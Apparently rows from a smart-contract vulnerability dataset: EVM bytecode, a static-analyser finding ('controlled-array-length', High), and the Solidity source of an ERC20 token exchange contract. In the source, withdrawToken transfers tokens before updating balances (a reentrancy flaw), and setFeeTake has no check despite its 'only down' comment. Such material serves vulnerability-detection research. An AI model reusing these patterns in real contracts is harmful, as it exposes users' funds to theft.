02c4565b820191906000526020600020905b8154815290600101906020018083116102a757829003601f168201915b50509350505050602060405180830381600087803b1580156102e557600080fd5b505af11580156102f9573d6000803e3d6000fd5b505050506040513d602081101561030f57600080fd5b5051151561031c57600080fd5b600160a060020a03821660009081526020819052604090205460ff16151560011461034657600080fd5b50600160a060020a0381166000908152602081905260408120805460ff191690555b6002548110156103e75781600160a060020a031660028281548110151561038b57fe5b600091825260209091200154600160a060020a031614156103df5760028054829081106103b457fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191690556103e7565b600101610368565b604051600160a060020a038316907f6e76fb4c77256006d9c38ec7d82b45a8c8f3c27b1d6766fffc42dfb8de68449290600090a25050565b60016020526000908152604090205481565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104b75780601f1061048c576101008083540402835291602001916104b7565b820191906000526020600020905b81548152906001019060200180831161049a57829003601f168201915b505050505081565b60048054604080517f8645770200000000000000000000000000000000000000000000000000000000815233600160a060020a03818116602484015294820192835260038054600260001960018316156101000201909116046044840181905295909416946386457702949391928291606490910190859080156105845780601f1061055957610100808354040283529160200191610584565b820191906000526020600020905b81548152906001019060200180831161056757829003601f168201915b50509350505050602060405180830381600087803b1580156105a557600080fd5b505af11580156105b9573d6000803e3d6000fd5b505050506040513d60208110156105cf57600080fd5b505115156105dc57600080fd5b8015156105e857600080fd5b600160a060020a03821660009081526020819052604090205460ff16151561061357610613826106c2565b600160a060020a03821660009081526001602052604090205461063c908263ffffffff61087816565b600160a060020a038316600081815260016020908152604091829020849055815185815290810193909352805191927f8442948036198f1146d3a63c3db355d7e0295c2cc5676c755990445da4fdc1c9929081900390910190a25050565b60028054829081106106a857fe5b600091825260209091200154600160a060020a0316905081565b60048054604080517f8645770200000000000000000000000000000000000000000000000000000000815233600160a060020a03818116602484015294820192835260038054600260001960018316156101000201909116046044840181905295909416946386457702949391928291606490910190859080156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b50509350505050602060405180830381600087803b1580156107a857600080fd5b505af11580156107bc573d6000803e3d6000fd5b505050506040513d60208110156107d257600080fd5b505115156107df57600080fd5b600160a060020a038116600081815260208190526040808220805460ff1916600190811790915560028054918201815583527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff191684179055517fb251eb052afc73ffd02ffe85ad79990a8b3fed60d76dbc2fa2fdd7123dffd9149190a250565b60008282018381101561088757fe5b93925050505600a165627a7a72305820e2c7f3886c19c87af4308ccc3b6ca8efff9a1280cc2ed376e91318055ebb28010029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,767
0x02992370df72da5b039c3a6249beb27c487e63cb
pragma solidity ^0.4.23; contract Admin { address public admin; address public feeAccount; // address feeAccount, which will receive fee. address public nextVersionAddress; // this is next address exchange bool public orderEnd; // this is var use when Admin want close exchange string public version; // number version example 1.0, test_1.0 uint public feeTake; //percentage times (1 ether) bool public pause; modifier assertAdmin() { if ( msg.sender != admin ) { revert(); } _; } /* * This is function, is needed to change address admin. */ function setAdmin( address _admin ) assertAdmin public { admin = _admin; } function setPause (bool state) assertAdmin public { pause = state; } /* * This is function, is needed to change version smart-contract. */ function setVersion(string _version) assertAdmin public { version = _version; } /* * This is function, is needed to set address, next smart-contracts. */ function setNextVersionAddress(address _nextVersionAddress) assertAdmin public{ nextVersionAddress = _nextVersionAddress; } /* * This is function, is needed to stop, news orders. * Can not turn off it. */ function setOrderEnd() assertAdmin public { orderEnd = true; } /* * This is function, is needed to change address feeAccount. */ function setFeeAccount( address _feeAccount ) assertAdmin public { feeAccount = _feeAccount; } /* * This is function, is needed to set new fee. * Can only be changed down. */ function setFeeTake( uint _feeTake ) assertAdmin public { feeTake = _feeTake; } } contract SafeMath { function safeMul( uint a, uint b ) pure internal returns ( uint ) { uint c; c = a * b; assert( a == 0 || c / a == b ); return c; } function safeSub( uint a, uint b ) pure internal returns ( uint ) { assert( b <= a ); return a - b; } function safeAdd( uint a, uint b ) pure internal returns ( uint ) { uint c; c = a + b; assert( c >= a && c >= b ); return c; } } /* * Interface ERC20 */ contract Token { function transfer( address _to, uint256 _value ) public returns ( bool success ); function transferFrom( address _from, address _to, uint256 _value ) public returns ( bool success ); event Transfer( address indexed _from, address indexed _to, uint256 _value ); } contract Exchange is SafeMath, Admin { mapping( address => mapping( address => uint )) public tokens; mapping( address => mapping( bytes32 => bool )) public orders; mapping( bytes32 => mapping( address => uint )) public ordersBalance; event Deposit( address token, address user, uint amount, uint balance ); event Withdraw( address token, address user, uint amount, uint balance ); event Order( address user, address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ); event OrderCancel( address user, address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ); event Trade( address makeAddress, address tokenMake, uint amountGiveMake, address takeAddress, address tokenTake, uint quantityTake, uint feeTakeXfer, uint balanceOrder ); event HashOutput(bytes32 hash); constructor( address _admin, address _feeAccount, uint _feeTake, string _version) public { admin = _admin; feeAccount = _feeAccount; feeTake = _feeTake; orderEnd = false; version = _version; pause = false; } function depositEth() payable public { assertQuantity( msg.value ); tokens[0][msg.sender] = safeAdd( tokens[0][msg.sender], msg.value ); emit Deposit( 0, msg.sender, msg.value, tokens[0][msg.sender] ); } function withdrawEth( uint amount ) public { assertQuantity( amount ); tokens[0][msg.sender] = safeSub( tokens[0][msg.sender], amount ); msg.sender.transfer( amount ); emit Withdraw( 0, msg.sender, amount, tokens[0][msg.sender] ); } function depositToken( address token, uint amount ) public { assertToken( token ); assertQuantity( amount ); tokens[token][msg.sender] = safeAdd( tokens[token][msg.sender], amount ); if ( Token( token ).transferFrom( msg.sender, this, amount ) == false ) { revert(); } emit Deposit( token, msg.sender, amount , tokens[token][msg.sender] ); } function withdrawToken( address token, uint amount ) public { assertToken( token ); assertQuantity( amount ); if ( Token( token ).transfer( msg.sender, amount ) == false ) { revert(); } tokens[token][msg.sender] = safeSub( tokens[token][msg.sender], amount ); // уязвимость двойного входа? emit Withdraw( token, msg.sender, amount, tokens[token][msg.sender] ); } function order( address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ) public { bytes32 hash; assertQuantity( amountTake ); assertQuantity( amountMake ); assertCompareBalance( amountMake, tokens[tokenMake][msg.sender] ); if ( orderEnd == true ) revert(); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); orders[msg.sender][hash] = true; tokens[tokenMake][msg.sender] = safeSub( tokens[tokenMake][msg.sender], amountMake ); ordersBalance[hash][msg.sender] = amountMake; emit HashOutput(hash); emit Order( msg.sender, tokenTake, amountTake, tokenMake, amountMake, nonce ); } function orderCancel( address tokenTake, uint amountTake, address tokenMake, uint amountMake, uint nonce ) public { bytes32 hash; assertQuantity( amountTake ); assertQuantity( amountMake ); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); orders[msg.sender][hash] = false; tokens[tokenMake][msg.sender] = safeAdd( tokens[tokenMake][msg.sender], ordersBalance[hash][msg.sender]); ordersBalance[hash][msg.sender] = 0; emit OrderCancel( msg.sender, tokenTake, amountTake, tokenMake, amountMake, nonce ); } function trade( address tokenTake, address tokenMake, uint amountTake, uint amountMake, uint nonce, address makeAddress, uint quantityTake ) public { bytes32 hash; uint amountGiveMake; assertPause(); assertQuantity( quantityTake ); hash = keccak256( this, tokenTake, tokenMake, amountTake, amountMake, nonce ); assertOrders( makeAddress, hash ); amountGiveMake = safeMul( amountMake, quantityTake ) / amountTake; assertCompareBalance ( amountGiveMake, ordersBalance[hash][makeAddress] ); tradeBalances( tokenTake, tokenMake, amountTake, amountMake, makeAddress, quantityTake, hash); emit HashOutput(hash); } function tradeBalances( address tokenGet, address tokenGive, uint amountGet, uint amountGive, address user, uint amount, bytes32 hash) private { uint feeTakeXfer; uint amountGiveMake; feeTakeXfer = safeMul( amount, feeTake ) / ( 1 ether ); amountGiveMake = safeMul( amountGive, amount ) / amountGet; tokens[tokenGet][msg.sender] = safeSub( tokens[tokenGet][msg.sender], safeAdd( amount, feeTakeXfer ) ); tokens[tokenGet][user] = safeAdd( tokens[tokenGet][user], amount ); tokens[tokenGet][feeAccount] = safeAdd( tokens[tokenGet][feeAccount], feeTakeXfer ); ordersBalance[hash][user] = safeSub( ordersBalance[hash][user], safeMul( amountGive, amount ) / amountGet ); tokens[tokenGive][msg.sender] = safeAdd( tokens[tokenGive][msg.sender], safeMul( amountGive, amount ) / amountGet ); emit Trade( user, tokenGive, amountGiveMake, msg.sender, tokenGet, amount, feeTakeXfer, ordersBalance[hash][user] ); emit HashOutput(hash); } function assertQuantity( uint amount ) pure private { if ( amount == 0 ) { revert(); } } function assertPause() view private { if ( pause == true ) { revert(); } } function assertToken( address token ) pure private { if ( token == 0 ) { revert(); } } function assertOrders( address makeAddress, bytes32 hash ) view private { if ( orders[makeAddress][hash] == false ) { revert(); } } function assertCompareBalance( uint a, uint b ) pure private { if ( a > b ) { revert(); } } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063338b5dea1461014357806333b3791514610190578063354709dd146101a7578063439370b1146102525780634b023cf81461025c578063508493bc1461029f57806350c543701461031657806354fd4d501461037b5780635ae11d5d1461040b57806365e17c9d1461048c578063704b6c02146104e3578063788bc78c146105265780637b28aa4c1461058f5780638456cb591461061057806390f098bb1461063f5780639ce3961f1461066c5780639e281a98146106c3578063bb5f462914610710578063bedb86fb14610779578063c281309e146107a8578063c311d049146107d3578063d618996b14610800578063f0adda7d1461082f578063f851a44014610872575b600080fd5b34801561014f57600080fd5b5061018e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b005b34801561019c57600080fd5b506101a5610c2b565b005b3480156101b357600080fd5b50610250600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ca3565b005b61025a610e84565b005b34801561026857600080fd5b5061029d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611061565b005b3480156102ab57600080fd5b50610300600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611100565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b506103656004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611125565b6040518082815260200191505060405180910390f35b34801561038757600080fd5b5061039061114a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d05780820151818401526020810190506103b5565b50505050905090810190601f1680156103fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041757600080fd5b5061048a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111e8565b005b34801561049857600080fd5b506104a1611692565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ef57600080fd5b50610524600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b8565b005b34801561053257600080fd5b5061058d600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611756565b005b34801561059b57600080fd5b5061060e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506117cb565b005b34801561061c57600080fd5b50610625611be7565b604051808215151515815260200191505060405180910390f35b34801561064b57600080fd5b5061066a60048036038101908080359060200190929190505050611bfa565b005b34801561067857600080fd5b50610681611c5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106cf57600080fd5b5061070e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c85565b005b34801561071c57600080fd5b5061075f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611fb3565b604051808215151515815260200191505060405180910390f35b34801561078557600080fd5b506107a6600480360381019080803515159060200190929190505050611fe2565b005b3480156107b457600080fd5b506107bd61205a565b6040518082815260200191505060405180910390f35b3480156107df57600080fd5b506107fe60048036038101908080359060200190929190505050612060565b005b34801561080c57600080fd5b50610815612285565b604051808215151515815260200191505060405180910390f35b34801561083b57600080fd5b50610870600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612298565b005b34801561087e57600080fd5b50610887612337565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108d28261235c565b6108db81612383565b610961600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612394565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600015158273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d6020811015610ae657600080fd5b810190808051906020019092919050505015151415610b0457600080fd5b7fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8657600080fd5b6001600260146101000a81548160ff021916908315150217905550565b600080610cae6123be565b610cb783612383565b308989898989604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401848152602001838152602001828152602001965050505050505060405180910390209150610db284836123e1565b86610dbd878561245c565b811515610dc657fe5b049050610e2b8160086000856000191660001916815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f565b610e3a898989898888886124a0565b7f44ab16dc74cb1e1a2d1bcc42fecb42aa4d47e3fb202ca5e592a27b924c1337a78260405180826000191660001916815260200191505060405180910390a1505050505050505050565b610e8d34612383565b610efd600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434612394565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110bc57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6008602052816000526040600020602052806000526040600020600091509150505481565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111e05780601f106111b5576101008083540402835291602001916111e0565b820191906000526020600020905b8154815290600101906020018083116111c357829003601f168201915b505050505081565b60006111f385612383565b6111fc83612383565b61128283600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248f565b60011515600260149054906101000a900460ff16151514156112a357600080fd5b308685878686604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019650505050505050604051809103902090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff02191690831515021790555061148b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612be7565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260086000836000191660001916815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f44ab16dc74cb1e1a2d1bcc42fecb42aa4d47e3fb202ca5e592a27b924c1337a78160405180826000191660001916815260200191505060405180910390a17f5b44c658a8577b6295eea07f99e846c9066cd32562490dc25e57d9cc3a65ec43338787878787604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001965050505050505060405180910390a1505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117b157600080fd5b80600390805190602001906117c7929190612c00565b5050565b60006117d685612383565b6117df83612383565b308685878686604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019650505050505050604051809103902090506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff021916908315150217905550611a1f600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460086000846000191660001916815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612394565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060086000836000191660001916815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507efaaa481987ee1825a617d903e788d989eb93b9112dbfaba2bdfe4571e598a5338787878787604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001965050505050505060405180910390a1505050505050565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5557600080fd5b8060048190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611c8e8261235c565b611c9781612383565b600015158273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d3e57600080fd5b505af1158015611d52573d6000803e3d6000fd5b505050506040513d6020811015611d6857600080fd5b810190808051906020019092919050505015151415611d8657600080fd5b611e0c600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612be7565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561203d57600080fd5b80600560006101000a81548160ff02191690831515021790555050565b60045481565b61206981612383565b6120d9600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612be7565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612189573d6000803e3d6000fd5b507ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122f357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008173ffffffffffffffffffffffffffffffffffffffff16141561238057600080fd5b50565b600081141561239157600080fd5b50565b60008082840190508381101580156123ac5750828110155b15156123b457fe5b8091505092915050565b60011515600560009054906101000a900460ff16151514156123df57600080fd5b565b60001515600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060009054906101000a900460ff161515141561245857600080fd5b5050565b6000808284029050600084148061247d575082848281151561247a57fe5b04145b151561248557fe5b8091505092915050565b8082111561249c57600080fd5b5050565b600080670de0b6b3a76400006124b88560045461245c565b8115156124c157fe5b049150866124cf878661245c565b8115156124d857fe5b04905061256a600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125658685612394565b612be7565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612670600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612394565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612798600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612394565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128b060086000856000191660001916815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054886128a1898861245c565b8115156128aa57fe5b04612be7565b60086000856000191660001916815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129a6600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205488612997898861245c565b8115156129a057fe5b04612394565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f36c91f7c5258e22e54cb700adf62780709056d6098abfcdf1ce77603766920cc858983338d8988600860008c6000191660001916815260200190815260200160002060008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019850505050505050505060405180910390a17f44ab16dc74cb1e1a2d1bcc42fecb42aa4d47e3fb202ca5e592a27b924c1337a78360405180826000191660001916815260200191505060405180910390a1505050505050505050565b6000828211151515612bf557fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c4157805160ff1916838001178555612c6f565b82800160010185558215612c6f579182015b82811115612c6e578251825591602001919060010190612c53565b5b509050612c7c9190612c80565b5090565b612ca291905b80821115612c9e576000816000905550600101612c86565b5090565b905600a165627a7a723058203491b27d6badf350f0b61ae7b40c8c850384843f2fc29c4870b9ee002e29492c0029
